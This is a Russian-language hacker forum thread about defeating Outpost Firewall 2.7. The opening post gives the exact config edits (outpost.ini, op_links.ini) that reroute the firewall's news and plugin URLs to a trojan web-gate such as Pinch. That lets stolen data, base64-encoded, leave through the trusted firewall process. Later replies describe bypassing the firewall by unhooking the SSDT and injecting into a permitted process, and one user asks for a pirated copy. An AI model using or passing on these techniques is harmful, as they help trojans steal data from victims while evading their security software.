Обход Outpost 2.7

[nons]

Уязвимость Outpost Firewall 2.7. Возможна отправка любых данных на web-гейт трояна (напр. pinch 2 pro, a-311 и т.д.), достаточно изменить данные в файлах (пример для ru-язычной версии)

x:\...\Outpost Firewall\outpost.ini

[HttpAlerts] 
... 
NewsTime=10 //таймаут 
NewsEnable=yes //меню->сервис->загружать новости 
PluginsTime=10 //таймаут 
PluginsEnable=yes //меню->сервис->загружать информацию о модулях 
...

x:\...\Outpost Firewall\op_links.ini

NewsPage_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data 
PluginsPage_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data 
PluginsPageAdv_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data

При этом Outpost выдает предупреждение о том, что его главный модуль пытается соединиться с внешним миром, но это выглядит достаточно безобидно.

Источник: pinch.xakepy.ru

[[Fk]]

Мило
Какая последняя версия Outpost'a? Исправлен этот баг?

[JiF]

Последняя 3я версия , насчет бага не знаю
PS может у кого есть из сетян новый оутпост? поделитесь плиз

[[Fk]]

Последняя 3я версия , насчет бага не знаю
PS может у кого есть из сетян новый оутпост? поделитесь плиз

съезжу как-нить на работу..и ..выкачаю
или как на дому и-нет появится..

[mdie]

Есть . Да он элементарно обходится расхучиванием Ssdt и внедрением в разрешенный процес. (расхучивание используется для того, чтобы он не ругался, что произошла запись в память процесса).

[nons]

да 2,7 уже особо не актуально)
в 3 насколько я помню они контроль над внедрением в процесс ввели)
хотя впринципе попробовать внедриться в разрешенный процесс можно попробовать)
(могу и ошибаться)))

[mdie]

Именно, что ошибаешься... Я же написал, что расхучить и внедриться! т.е. одно без другого работать не будет! Проверялось на Outpost Firewall Pro ver. 3.51.748.6419 (462) (думаю будет работать и на других файерволлах, но не на всех). Метод старый, инфа давно в паблике.

[mdie]

Всем инетересующимся данной темой по данному firewall'у - бегом читать новую статью от Ms-Rem'а на www.wasm.ru под названием Инжект как метод обхода фаерволлов, жив или мертв?

[nons]

аха, читал, отлично все расписано, гут
вот прямой линк на статью (:

ЗЫ 2mdie прямые ссылки указывай (;